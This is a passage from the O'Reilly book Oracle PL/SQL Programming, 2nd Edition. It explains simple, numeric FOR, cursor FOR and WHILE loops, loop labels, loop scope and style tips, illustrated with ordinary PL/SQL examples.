The following example demonstrates how the EXIT forces the loop to immediately halt execution and pass control to the next statement after the END LOOP statement. The account_balance procedure returns the amount of money remaining in the account specified by the account ID. If there is less than $1000 left, the EXIT statement is executed and the loop is terminated. Otherwise, the program applies the balance to the outstanding orders for that account.

LOOP
   balance_remaining := account_balance (account_id);
   IF balance_remaining < 1000
   THEN
      EXIT;
   ELSE
      apply_balance (account_id, balance_remaining);
   END IF;
END LOOP;

You can use an EXIT statement only within a LOOP.

PL/SQL also offers the EXIT WHEN statement, which supports the concept of "conditional termination" of the loop. Essentially, the EXIT WHEN combines an IF-THEN statement with the EXIT statement. Using the same example I showed above, the EXIT WHEN changes the loop to:

LOOP
   /* Calculate the balance */
   balance_remaining := account_balance (account_id);

   /* Embed the IF logic into the EXIT statement */
   EXIT WHEN balance_remaining < 1000;

   /* Apply balance if still executing the loop */
   apply_balance (account_id, balance_remaining);
END LOOP;

Notice that the loop no longer requires an IF statement to determine when it should exit. Instead, that conditional logic is embedded inside the EXIT WHEN statement.

EXIT WHEN is a very concise and readable way to terminate a simple loop; I recommend its use over the unconditional EXIT statement. After all, you should always have an EXIT statement nested within an IF-THEN. If you don't, then you either have an infinite loop or you have a loop that executes just once. In the latter case, it is better to execute the body of the loop without using a loop. If the EXIT is always included within the IF-THEN, you'd be better off using a language construct built specifically for the purpose. The EXIT WHEN construct also reduces the amount of code you need to write.

7.2.2 Emulating a REPEAT UNTIL Loop

PL/SQL does not provide a REPEAT UNTIL loop in which the condition is tested after the body of the loop is executed and thus guarantees that the loop always executes at least once. You can, however, emulate a REPEAT UNTIL with a simple loop, as follows:

LOOP
   ... body of loop ...
   EXIT WHEN boolean_condition;
END LOOP;

where boolean_condition is a Boolean variable or an expression that evaluates to a Boolean value of TRUE or FALSE.

Previous: 7.1 Loop Basics | Oracle PL/SQL Programming, 2nd Edition | Next: 7.3 The Numeric FOR Loop
7.1 Loop Basics | Book Index | 7.3 The Numeric FOR Loop
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.3 The Numeric FOR Loop

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.3 The Numeric FOR Loop

There are two kinds of PL/SQL FOR loops: the numeric FOR loop and the cursor FOR loop. The numeric FOR loop is the traditional and familiar "counted" loop. The number of iterations of the FOR loop is known when the loop starts; it is specified in the loop boundary's range scheme. The number of times the loop executes is actually determined by the range scheme found between the FOR and LOOP keywords in the boundary.

The range scheme implicitly declares the loop index (if it has not already been declared), specifies the start and end points of the range, and optionally dictates the order in which the loop index proceeds (from lowest to highest or highest to lowest).

Here is the general syntax of the numeric FOR loop:

FOR <loop index> IN [REVERSE] <lowest number> .. <highest number>
LOOP
   <executable statement(s)>
END LOOP;

You must have at least one executable statement between the LOOP and END LOOP key words.

The following table summarizes the properties of the numeric FOR loop:

Property | Description
How the loop is terminated | The numeric FOR loop terminates unconditionally when the number of times specified in its range scheme has been satisfied. You can also terminate the loop with an EXIT statement, but this is not recommended.
When the test for termination takes place | After each execution of the loop body, PL/SQL checks the value of the loop index. When it exceeds the difference between the upper and lower bounds of the range scheme, the loop terminates. If the lower bound is greater than the upper bound of the range scheme, the loop never executes its body.
Reason to use this loop | Use the numeric FOR loop when you want to execute a body of code a fixed number of times, and you do not want to halt that looping prematurely.

7.3.1 Rules for Numeric FOR Loops

  • Do not declare the loop index. PL/SQL automatically and implicitly declares it as a local variable with datatype INTEGER. The scope of this index is the loop itself; you cannot reference the loop index outside the loop.

  • Expressions used in the range scheme (both for lowest and highest bounds) are evaluated once, when the loop starts. The range is not re-evaluated during the execution of the loop. If you make changes within the loop to the variables which you used to determine the FOR loop range, those changes will have no effect.

  • Never change the values of either the loop index or the range boundary from within the loop. This is an extremely bad programming practice. In most cases, PL/SQL will not let you compile such code.

  • Do not use an EXIT statement inside a FOR loop in order to cause early execution of the loop. If you are going to use a numeric FOR loop, then you should let the loop execute as it is designed: from start value to end value. If you need more control over how frequently a loop is to execute and, particularly, when it is to terminate, do not use the FOR loop. Instead, use the WHILE loop or simple loop with EXIT WHEN constructs.

  • Use the REVERSE keyword to force the loop to decrement from the upper bound to the lower bound. You must still make sure that the first value in the range specification (the N in N .. M) is less than the second value. Do not reverse the order in which you specify these values when you use the REVERSE keyword.

7.3.2 Examples of Numeric FOR Loops

The following examples demonstrate some variations of the numeric FOR loop syntax:

  • The loop executes ten times; loop_counter starts at 1 and ends at 10:

    FOR loop_counter IN 1 .. 10
LOOP
   ... executable statements ...
END LOOP;

  • The loop executes ten times; loop_counter starts at 10 and ends at 1:

FOR loop_counter IN REVERSE 1 .. 10
LOOP
   ... executable statements ...
END LOOP;

  • Here is a loop that doesn't execute even once. I specified REVERSE so the loop index, loop_counter, will start at the highest value and end with the lowest. I then mistakenly concluded that I should switch the order in which I list the highest and lowest bounds:

    FOR loop_counter IN REVERSE 10 .. 1
LOOP
   /* This loop body will never execute even once! */
END LOOP;

    Even when you specify a REVERSE direction, you must still list the lowest bound before the highest bound. If the first number is greater than the second number, the body of the loop will not execute at all. If the lowest and highest bounds have the same value, then the loop will execute just once.

  • Loop executes for a range determined by the values in the variable and expression:

    FOR calc_index IN start_period_number ..
            LEAST (end_period_number, current_period)
LOOP
   ... executable statements ...
END LOOP;

    Note that in this example we do not know the values for the lowest and highest bounds at the time of the writing of the code. The actual or dynamic range is determined at runtime and is fully supported by PL/SQL. In other words, the numeric FOR loop needs to know when it starts and how many times it will execute, but you do not have to know this when you write the program.

7.3.3 Handling Nontrivial Increments

PL/SQL does not provide a "step" syntax, whereby you can specify that the loop index increment. In all variations of the PL/SQL numeric FOR loop, the loop index is always incremented or decremented by one.

If you have a loop body which you want executed for a nontrivial (different from one) increment, you will have to write some cute code. For example, what if you want your loop to execute only for all even numbers between 1 and 100? You can make use of the numeric MOD function, as follows:

FOR loop_index IN 1 .. 100
LOOP
   IF MOD (loop_index, 2) = 0
   THEN
      /* We have an even number, so perform calculation */
      calc_values (loop_index);
   END IF;
END LOOP;

Or you can use simple multiplication inside a loop with half the iterations:

FOR even_number IN 1 .. 50
LOOP
   calc_values (even_number*2);
END LOOP;

In both cases, the calc_values procedure executes only for even numbers. In the first example, the FOR loop executes 100 times. In the second example, the FOR loop executes only 50 times.

Whichever approach you decide to take, be sure to document this kind of technique clearly. You are, in essence, manipulating the numeric FOR loop to do something for which it is not designed. Comments would be very helpful for the maintenance programmer who has to understand why you would code something like that.

Previous: 7.2 The Simple Loop | Oracle PL/SQL Programming, 2nd Edition | Next: 7.4 The Cursor FOR Loop
7.2 The Simple Loop | Book Index | 7.4 The Cursor FOR Loop
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.4 The Cursor FOR Loop

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.4 The Cursor FOR Loop

A cursor FOR loop is a loop that is associated with (actually defined by) an explicit cursor or a SELECT statement incorporated directly within the loop boundary. Use the cursor FOR loop whenever (and only if) you need to fetch and process each and every record from a cursor, which is a high percentage of the time with cursors.

The cursor FOR loop is one of my favorite PL/SQL features. It leverages fully the tight and effective integration of the procedural constructs with the power of the SQL database language. It reduces the volume of code you need to write to fetch data from a cursor. It greatly lessens the chance of introducing loop errors in your programming -- and loops are one of the more error-prone parts of a program. Does this loop sound too good to be true? Well, it isn't -- it's all true!

Here is the basic syntax of a cursor FOR loop:

FOR record_index IN cursor_name
LOOP
   <executable statement(s)>
END LOOP;

where record_index is a record declared implicitly by PL/SQL with the %ROWTYPE attribute against the cursor specified by cursor_name.

The following table summarizes the properties of the cursor FOR loop where record_index is a record declared implicitly by PL/SQL with the %ROWTYPE attribute against the cursor specified by cursor_name:

Property | Description
How the loop is terminated | The cursor FOR loop terminates unconditionally when all of the records in the associated cursor have been fetched. You can also terminate the loop with an EXIT statement, but this is not recommended.
When the test for termination takes place | After each execution of the loop body, PL/SQL performs another fetch. If the %NOTFOUND attribute of the cursor evalutes to TRUE, then the loop terminates. If the cursor returns no rows, then the loop never executes its body.
Reason to use this loop | Use the cursor FOR loop when you want to fetch and process every record in a cursor.

Let's take a look at how you can use the cursor FOR loop to streamline your code and reduce opportunities for error.

7.4.1 Example of Cursor FOR Loops

Suppose I need to update the bills for all pets staying in my pet hotel, the Share-a-Din-Din Inn. The example below contains an anonymous block that uses a cursor, occupancy_cur, to select the room number and pet ID number for all occupants at the Inn. The procedure update_bill adds any new changes to that pet's room charges:

1  DECLARE
2     CURSOR occupancy_cur IS
3        SELECT pet_id, room_number
4        FROM occupancy WHERE occupied_dt = SYSDATE;
5     occupancy_rec occupancy_cur%ROWTYPE;
6  BEGIN
7     OPEN occupancy_cur;
8     LOOP
9        FETCH occupancy_cur INTO occupancy_rec;
10       EXIT WHEN occupancy_cur%NOTFOUND;
11       update_bill
12          (occupancy_rec.pet_id, occupancy_rec.room_number);
13    END LOOP;
14    CLOSE occupancy_cur;
15 END;

This code leaves nothing to the imagination. In addition to defining the cursor (line 2), you must explicitly declare the record for the cursor (line 5), open the cursor (line 7), start up an infinite loop, fetch a row from the cursor set into the record (line 9), check for an end-of-data condition with the cursor attribute (line 10), and finally perform the update. When you are all done, you have to remember to close the cursor (line 14).

If I convert this PL/SQL block to use a cursor FOR loop, then I have:

DECLARE
   CURSOR occupancy_cur IS
      SELECT pet_id, room_number
        FROM occupancy WHERE occupied_dt = SYSDATE;
BEGIN
   FOR occupancy_rec IN occupancy_cur
   LOOP
      update_bill (occupancy_rec.pet_id, occupancy_rec.room_number);
   END LOOP;
END;

Here you see the beautiful simplicity of the cursor FOR loop! Gone is the declaration of the record. Gone are the OPEN, FETCH, and CLOSE statements. Gone is the need to check the %FOUND attribute. Gone are the worries of getting everything right. Instead, you say to PL/SQL, in effect, "You and I both know that I want each row and I want to dump that row into a record that matches the cursor. Take care of that for me, will you?" And PL/SQL does take care of it, just the way any modern programming language should.

As with all other cursors, you can pass parameters to the cursor in a cursor FOR loop. If any of the columns in the select list of the cursor is an expression, remember that you must specify an alias for that expression in the select list. Within the loop, the only way to access a particular value in the cursor record is with the dot notation (cursor_name.column_name, as in occupancy_rec.room_number), so you need a column name associated with the expression.

7.4.2 The Cursor FOR Loop Record

The record which functions as the index for the cursor FOR loop is, like the loop index of a numeric FOR loop, defined only within the loop itself. You cannot reference that record outside of the loop. Furthermore, PL/SQL declares that record itself. You, the programmer, should never declare a record for use as the index in a cursor FOR loop. If you do include such a declaration, the effect will not be as you intended.

Consider the code shown below. This code contains explicit declarations for both the cursor (line 2) and a record for that cursor (line 5). The block then uses a cursor FOR loop with that cursor and specifies as its index a record with the same name as the declared record:

1  DECLARE
2  CURSOR occupancy_cur IS
3     SELECT pet_id, room_number
4       FROM occupancy WHERE occupied_dt = SYSDATE;
5   occupancy_rec occupancy_cur%ROWTYPE;
6
7  BEGIN
8   FOR occupancy_rec IN occupancy_cur
9   LOOP
10    update_bill
11       (occupancy_rec.pet_id, occupancy_rec.room_number);
12  END LOOP;
13
14  DBMS_OUTPUT.PUT_LINE
15   ('Last pet ID updated: ' || TO_CHAR (occupancy_rec.pet_id));
16 END;

I frequently run across this kind of code. Every time I see it, I shudder because it is fraught with the potential for hard-to-trace bugs. In this example, the declaration of the occupancy_rec record on line 5 is completely unnecessary and completely ignored by the cursor FOR loop. Remember: the record named as the index of the cursor FOR loop index is always declared by PL/SQL -- even if another record of the same name is defined in the declaration section. Inside the loop, any references to occupancy_rec refer to the record declared by the loop, which is completely different from the record defined explicitly in the declaration section.

The danger of this redundant declaration is that an inexperienced developer may try to reference the loop record outside of the loop. In this case, the code will compile anyway because a record is defined in the scope of that PL/SQL block. The contents of that record will, however, come as a big surprise. For example, lines 14-15 of the code above call the DBMS_OUTPUT.PUT_LINE built-in function to display (or so the developer thinks) the ID of that last pet updated by the cursor.

This block compiles successfully because a record called occupancy_rec is declared outside of the loop. The reference to occupancy_rec.pet_id in line 15 does not, however, return the value of the last pet ID from the cursor. It returns NULL, because it refers to the record declared explicitly on line 5, which is not the same record as that used inside the loop to receive fetched rows.

If you really do need to refer to the contents of the loop's record outside of the loop, don't use a cursor FOR loop. Instead, use a WHILE loop or infinite loop. Then the record you defined on line 5 will be the same as the record used inside the loop and will contain the last row fetched by the cursor. If, on the other hand, you need to reference the record only inside the loop, strip out any declarations that match the loop indexes. Leave it to PL/SQL to handle all references correctly.

7.4.3 When to Use the Cursor FOR Loop

As you have seen, the cursor FOR loop offers many advantages when you want to loop through all of the records returned by a cursor. This type of loop is not appropriate, however, when you need to apply conditions to each fetched record to determine if you should halt execution of the loop. Suppose you need to scan through each of the records from a cursor and stop when a total accumulation of a column like the maximum number of pets exceeds a maximum, as shown in the code below. Although you can do this with a cursor FOR loop by issuing an EXIT statement inside the loop, that is an inappropriate use of this construct:

1  DECLARE
2     CURSOR occupancy_cur IS
3        SELECT pet_id, room_number
4          FROM occupancy WHERE occupied_dt = SYSDATE;
5     pet_count INTEGER := 0;
6  BEGIN
7     FOR occupancy_rec IN occupancy_cur
8     LOOP
9        update_bill
10          (occupancy_rec.pet_id, occupancy_rec.room_number);
11       pet_count := pet_count + 1;
12       EXIT WHEN pet_count > :GLOBAL.max_pets;
13    END LOOP;
14 END;

The FOR loop explicitly states: "I am going to execute the body of this loop n times" (where n is a number in a numeric FOR loop, or each record in a cursor FOR loop). An EXIT inside the FOR loop short-circuits this logic. The result is code which is difficult to follow and debug.

If you need to terminate a loop based on information fetched by the cursor FOR loop, you should use a WHILE loop or infinite loop in its place. Then the structure of the code will more clearly state your intentions.

Previous: 7.3 The Numeric FOR Loop | Oracle PL/SQL Programming, 2nd Edition | Next: 7.5 The WHILE Loop
7.3 The Numeric FOR Loop | Book Index | 7.5 The WHILE Loop
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.5 The WHILE Loop

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.5 The WHILE Loop

The WHILE loop is a conditional loop that continues to execute as long as the Boolean condition defined in the loop boundary evaluates to TRUE. Because the WHILE loop execution depends on a condition and is not fixed, use a WHILE loop if you don't know ahead of time the number of times a loop must execute.

Here is the general syntax for the WHILE loop:

WHILE <condition>
LOOP
   <executable statement(s)>
END LOOP;

where <condition> is a Boolean variable or an expression that evaluates to a Boolean value of TRUE, FALSE, or NULL. Each time an iteration of the loop's body is to be executed, the condition is checked. If it evaluates to TRUE, then the body is executed. If it evaluates to FALSE or to NULL, then the loop terminates and control passes to the next executable statement following the END LOOP statement.

The following table summarizes the properties of the WHILE loop:

Property

Description

How the loop is terminated

The WHILE loop terminates when the Boolean expression in its boundary evaluates to FALSE or NULL.

When the test for termination takes place

The test for termination of a WHILE loop takes place in the loop boundary. This evaluation occurs prior to the first and each subsequent execution of the body. The WHILE loop, therefore, cannot be guaranteed to always execute its loop even a single time.

Reason to use this loop

Use the WHILE loop when:

  • You are not sure how many times you must execute the loop body, and

  • You will want to conditionally terminate the loop, and

  • You don't have to execute the body at least one time.

The WHILE loop's condition is tested at the beginning of the loop's iteration, before the body of the loop is executed. There are two consequences to this pre-execution test:

  • All the information needed to evaluate the condition must be set before the loop is executed for the first time.

  • It is possible that the WHILE loop will not execute even a single time.

7.5.1 The Infinite WHILE Loop

One of the dangers of the simple loop is that it could be an infinite loop if the body of the loop never executes an EXIT statement. While this is less of a problem with the WHILE loop, you should be aware that it is certainly possible to construct a WHILE loop that is syntactically equivalent to the infinite LOOP. The most obvious version of an infinite WHILE loop is the following:

WHILE TRUE
LOOP
   <executable statement(s)>
END LOOP;

Sometimes, however, an infinite WHILE loop can be disguised by poor programming techniques. The following WHILE loop will terminate only when end_of_analysis is set to TRUE:

WHILE NOT end_of_analysis
LOOP
   perform_analysis;
   get_next_record;
   IF analysis_cursor%NOTFOUND AND
      next_analysis_step IS NULL
   THEN
      end_of_analysis := TRUE;
   END IF;
END LOOP;

In this WHILE loop, the end_of_analysis Boolean variable is set to TRUE only if the analysis_cursor fetches no data and we are at the last step of the analysis.

Unfortunately, both the cursor and the next_analysis_step variable are completely invisible in the loop itself. How is next_analysis_step set? Where is the cursor declared? How is a record fetched? This is a very dangerous way to structure code because if you do fall into an infinite loop, the information you need to resolve the problem is not readily available.

Previous: 7.4 The Cursor FOR Loop | Oracle PL/SQL Programming, 2nd Edition | Next: 7.6 Managing Loop Execution
7.4 The Cursor FOR Loop | Book Index | 7.6 Managing Loop Execution
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.6 Managing Loop Execution

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.6 Managing Loop Execution

I've explained how to construct the different kinds of PL/SQL loops. The topics in this section address the following nuances of loop execution:

Labels

You can associate a label with a loop and use that label to increase your control over loop execution.

Scope

The loop boundary creates a scope similar to that of a PL/SQL block.

Termination

There is only one way to enter a loop, but a number of ways you can exit your loop.

7.6.1 Loop Labels

You can associate a name with a loop by using a label. A loop label in PL/SQL has the following format:

<<label_name>>

where label_name is the name of the label. (By the way, this is the same format used for GOTO labels.) In order to associate a name with a loop, however, the loop label must appear just before the LOOP statement as shown below:

<<all_emps>>
FOR emp_rec IN emp_cur
LOOP
   ...
END LOOP;

The label can also appear optionally after the END LOOP reserved words, as the following example demonstrates:

<<year_loop>>
WHILE year_number <= 1995
LOOP

   <<month_loop>>
   FOR month_number IN 1 .. 12
   LOOP
      ...
   END LOOP month_loop;

END LOOP year_loop;

By providing a label for a loop, you give that loop a name. This allows you to use dot notation to refer to loop-related variables, such as the FOR loop index. In the following example of nested FOR loops, I qualify my reference to the year_number index with the loop name:

<<year_loop>>
WHILE year_number <= 1995
LOOP

   <<month_loop>>
   FOR month_number IN 1 .. 12
   LOOP
      IF year_loop.year_number = 1900
      THEN
         ...
      END IF;
   END LOOP month_loop;

END LOOP year_loop;

7.6.1.1 Benefits of loop labels

The loop label is useful in two particular situations:

  • When you have written a loop whose code length exceeds a single page, use a loop label to tie the end of the loop back explicitly to its start. This visual tag will make it easier for a developer to maintain and debug the program. Without the loop label, it can be very difficult to keep track of which LOOP goes with which END LOOP.

  • When you have nested loops, you can use the label to both improve readability and increase control over the execution of your loops. This capability is explored in the next section.

7.6.1.2 Loop termination using labels

You can affect loop execution by adding a loop label after the EXIT keyword in the EXIT statement of a loop, as follows:

EXIT loop_label;
EXIT loop_label WHEN condition;

When you specify a loop label with the EXIT statement, PL/SQL terminates the specified loop.

Consider the last example with nested year and month loops. You might encounter a condition in which both loops should be immediately terminated. The usual, unlabeled EXIT statement inside the month loop would simply halt the month processing for the current year. The year loop would, however, continue its iterations. If the EXIT statement includes the year_loop label, both loops will halt execution:

<<year_loop>>
WHILE year_number <= 1995
LOOP

   <<month_loop>>
   FOR month_number IN 1 .. 12
   LOOP
      calc_totals
         (year_number, month_number, termination_condition);

      /* If the termination condition is TRUE exit ALL loops. */
      EXIT year_loop WHEN termination_condition;

   END LOOP month_loop;

END LOOP year_loop;

In this way, the loop labels offer you added control. Nevertheless, don't use this variation of the EXIT WHEN statement unless absolutely necessary. This kind of EXIT is very unstructured, which makes it hard to test, debug, and maintain. If your loops do have exception conditions, you should instead code them into the boundary of the loop or allow the exception section to handle them.

In other words, if you need to conditionally terminate your loop, then you should not use a FOR loop.

7.6.2 Loop Scope

A PL/SQL block establishes a scope for all locally-declared variables. Outside of the block, those variables do not exist. A similar kind of scope is created in the body of a loop.

7.6.2.1 Scope in FOR loops

In both numeric and cursor FOR loops, the scope of the loop index is restricted to the body of the loop. You cannot make reference to this implicitly declared variable in code before or after the loop. If you declare a variable of the same name as the loop index, PL/SQL considers that to be a different variable. It will not be used within the loop.

The loop index always takes precedence over a variable of the same name declared outside the scope of the loop. Suppose you have the following code:

PROCEDURE calc_revenue (year_in IN NUMBER)
IS
   month_number NUMBER (2) := 6;
BEGIN
   FOR month_number IN 1 .. 12
   LOOP
      calc_rev_for_month (month_number);
   END LOOP;
END;

The assignment of 6 to month_number in the declaration section has no impact whatsoever on the loop. Within the FOR loop, any reference to month_number is evaluated according to the current value of the loop index.

If you insist on declaring a variable whose name is the same as that of a loop index, you can use dot notation to qualify your references to these variables. In the following example I have a duplicate use of the month_number identifier:

PROCEDURE calc_revenue (year_in IN NUMBER)
IS
   month_number NUMBER (2) := 6;
BEGIN
   FOR month_number IN 1 .. 12
   LOOP
      IF calc_revenue.month_number < 6
      THEN
         ...
      END IF;
      calc_rev_for_month (month_number);
   END LOOP;
END;

Inside the loop, my first reference to month_number is qualified by the procedure name (calc_revenue.month_number). As a result, the compiler can obtain the right value for that month_number (6), while also using the loop index value in the call to calc_rev_for_month.

Of course, you can and should avoid this kind of confusion by using distinct names for your variables and loop indexes.

7.6.2.2 Scope with labels

If you define a label for a loop, then this label can be used to qualify the name of identifiers (loop indexes and locally-declared variables) inside the loop.

Once the loop has terminated, you cannot use the loop label to qualify identifiers. The scope of that label, in other words, is the boundary and body of the loop.

In the following example, I created two nested loops, both of which use a loop index named date_number. (Warning! Do not try this at home. Although it will compile, it can be dangerous to your sanity.)

<<year_loop>>
FOR date_number IN 1994 .. 1999
LOOP

   <<month_loop>>
   FOR date_number IN 1 .. 12
   LOOP

      IF year_loop.date_number = 1994 AND
         date_number = 1
      THEN
         first_month_processing;
      END IF;

   END LOOP month_loop;

END LOOP year_loop;

The IF statement references the date_number loop index of both the outer and inner loops by prefixing the outer loop's name to the first reference to date_number, I tell the compiler which variable I want it to use.

Again, you would be much better off simply changing the name of one or both of the loop indexes; date_number is much too vague a name for either of these loops.

Previous: 7.5 The WHILE Loop | Oracle PL/SQL Programming, 2nd Edition | Next: 7.7 Tips for PL/SQL Loops
7.5 The WHILE Loop | Book Index | 7.7 Tips for PL/SQL Loops
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.7 Tips for PL/SQL Loops

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.7 Tips for PL/SQL Loops

Loops are very powerful and useful constructs, but they are among the most complicated control structures in PL/SQL. The tips in this section will help you select the most efficient and easily maintained loops for your programs.

7.7.1 Naming Loop Indexes

How would you like to try to understand -- much less maintain -- code that looks like this?

FOR i IN start_id .. end_id
LOOP
   FOR j IN 1 .. 7
   LOOP
      FOR k IN 1 .. 24
      LOOP
         build_schedule (i, j, k);
      END LOOP;
   END LOOP;
END LOOP;

It is hard to imagine that someone would write code based on such generic integer variable names (right out of Algebra 101), yet it happens all the time. The habits we pick up in our earliest days of programming have an incredible half-life. Unless you are constantly vigilant, you will find yourself writing the most abominable code. In this case, the solution is simple: use variable names for the loop indexes that are meaningful and therefore self-documenting:

FOR focus_account IN start_id .. end_id
LOOP
   FOR day_in_week IN 1 .. 7
   LOOP
      FOR month_in_biyear IN 1 .. 24
      LOOP
         build_schedule (focus_account, day_in_week, month_in_biyear);
      END LOOP;
   END LOOP;
END LOOP;

Well, that cleared things up! Before I substituted the meaningless loop index names, I would wager that you were fairly sure the statement:

FOR j IN 1 .. 7

meant that "j" stood for the seven days of the week. And I bet further that you were equally confident that:

FOR k IN 1 .. 24

meant that "k" represented the hours in a day.

Now that I have provided descriptive names for those index variables, however, you discover that the innermost loop actually spanned two sets of twelve months (12 � 2 = 24). Your deduction about "k", while reasonable, was wrong, but it would have been completely impossible to determine this without looking at the build_schedule code. Given PL/SQL's ability to hide information within packages, this code might not even be available.

Software programmers should not have to make Sherlock Holmes-like deductions about the meaning of the start and end range values of the innermost FOR loops in order to understand their purpose. Use names that self-document the purposes of variables and loops. That way other people will understand your code and you will remember what your own code does when you review it three months later.

7.7.2 The Proper Way to Say Goodbye

No matter what kind of loop you are using, there is always only one entry point into the loop: the first executable statement following the LOOP keyword. Your loops should also have just one way of leaving the loop. The method of exit, furthermore, should be compatible with the type of loop you use. The following tips will help you write well-structured and easily maintained loops.

7.7.2.1 Premature FOR loop termination

The syntax of the FOR loop states your intent explicitly and should only be a FOR loop if you know in advance how many times the loop needs to execute. For example, the following loop is very clear:

FOR month_count IN 1 .. 12
LOOP
   analyze_month (month_count);
END LOOP;

It states: "I am going to execute the analyze_month procedure 12 times, once for each month in the year." Straightforward and easy to understand.

Now take a look at the next numeric FOR loop:

FOR year_count IN 1 .. years_displayed
LOOP
   IF year_count > 10 AND :store.status = 'CLOSED'
   THEN
      EXIT;
   END IF;
   analyze_month (month_count);
END LOOP;

In this case, the loop boundary states: "Run the loop for the number of years displayed in the form." Yet in the body of the loop, an IF statement allows a premature termination of the loop. If the year count (the loop index) exceeds 10 and the current store status is CLOSED, then an EXIT statement is issued and the loop halts.

This approach is very unstructured and contradictory. The loop boundary states one thing, but the loop body executes something very different.

You should always let a FOR loop (whether numeric or cursor) complete its stated number of iterations. If you do need to conditionally halt loop execution, you should choose either an infinite or a WHILE loop. The above FOR loop could, for example, be easily recoded as follows:

FOR year_count IN 1 .. LEAST (years_displayed, 11)
LOOP
   analyze_month (month_count);
END LOOP;

Similar guidelines apply to the infinite and WHILE loop, as I explore in the next sections.

7.7.2.2 EXIT and EXIT WHEN statements

Neither the FOR loop nor the WHILE loop should use the EXIT and EXIT WHEN statements. You have already seen why this is so in FOR loops. Consider the following WHILE loop:

WHILE more_records
LOOP
   NEXT_RECORD;
   EXIT WHEN :caller.name IS NULL;
END LOOP;

In this case, even though my loop boundary indicates that the body should execute until more_records evaluates to FALSE, the EXIT WHEN in the loop body bypasses that condition. Instead of using EXITs in your WHILE loop, you should always rely exclusively on your loop condition to determine whether the looping should continue. The previous WHILE loop can be redesigned as follows:

WHILE more_records
LOOP
   NEXT_RECORD;
   more_records := :caller.name IS NOT NULL;
END LOOP;

7.7.2.3 RETURN statement

The RETURN statement will cause instant termination of a function and return the specified value back to the calling program. Never use a RETURN statement inside a loop.

Unfortunately, such things have been known to happen. In the following example of terrifically poor programming practice (taken from an Oracle Corporation reference manual, I am sorry to say), the FOR loop is interrupted -- not with an EXIT, which would be unstructured enough, but with a RETURN statement:

BEGIN
   the_rowcount := Get_Group_Row_Count( rg_id );

   FOR j IN 1..the_rowcount
   LOOP

      col_val := Get_Group_Char_Cell( gc_id, j );

      IF UPPER(col_val) = UPPER(the_value)
      THEN
         RETURN j;
      END IF;

   END LOOP;
END;

The author of this program was in a big hurry to return to the calling program!

Once again, if the loop should be conditionally terminated, do not use a FOR loop. Instead, use a WHILE or infinite loop and then issue the RETURN after the loop is completed. The following code replaces the unstructured IF statement shown above:

BEGIN
/* Initialize the loop boundary variables. */
   row_index := 0;
   the_rowcount := Get_Group_Row_Count (rg_id);

   /* Use a WHILE loop. */
   WHILE row_index <= the_rowcount AND
          match_not_found
   LOOP
         row_index := row_index + 1;
         col_val := Get_Group_Char_Cell (gc_id, row_index);
         match_not_found := UPPER (col_val) != UPPER (the_value)
   END LOOP;

   /* Now issue the RETURN statement. */
   RETURN row_index;
END;

7.7.2.4 GOTO statements inside a loop

The same reasons for avoiding a RETURN apply to the GOTO statement. If you use a GOTO to exit from a loop, you bypass the logical structure of the loop. You end up with code that is very difficult to trace, debug, fix, and maintain.

7.7.3 Avoiding the Phony Loop

As I have stated previously, you should not use a numeric FOR loop if you cannot specify in a range scheme of lowest and highest bounds the number of times the loop must execute. Just because you know the number of iterations of some code, however, doesn't mean that you should use a loop.

I have run across a number of programs which execute variations on this kind of FOR loop:

FOR i IN 1 .. 2
LOOP
   IF i = 1
   THEN
      give_bonus (president_id, 2000000);

   ELSIF i = 2
   THEN
      give_bonus (ceo_id, 5000000);
   END IF;
END LOOP;

This loop provides hefty bonuses to the president and CEO of a company that just went deep into debt to acquire a competitor. I need to use the loop so the code executes twice to make sure both the president and CEO receive their just compensation. Right? Wrong. This code should not be inside a loop. It does not need iteration to perform its job; the LOOP syntax just confuses the issue.

The two sections within the IF-THEN-ELSE construct in the previous example both need to be executed all the time; this is straight sequential code and should be written as follows:

give_bonus (president_id, 2000000);
give_bonus (ceo_id, 5000000);

7.7.4 PL/SQL Loops Versus SQL Processing

One of the indicators that a numeric FOR loop is being used incorrectly is that the loop index is not used for anything but traffic control inside the loop. The actual body of executable statements completely ignores the loop index. When that is the case, there is a good chance that you don't need the loop at all.

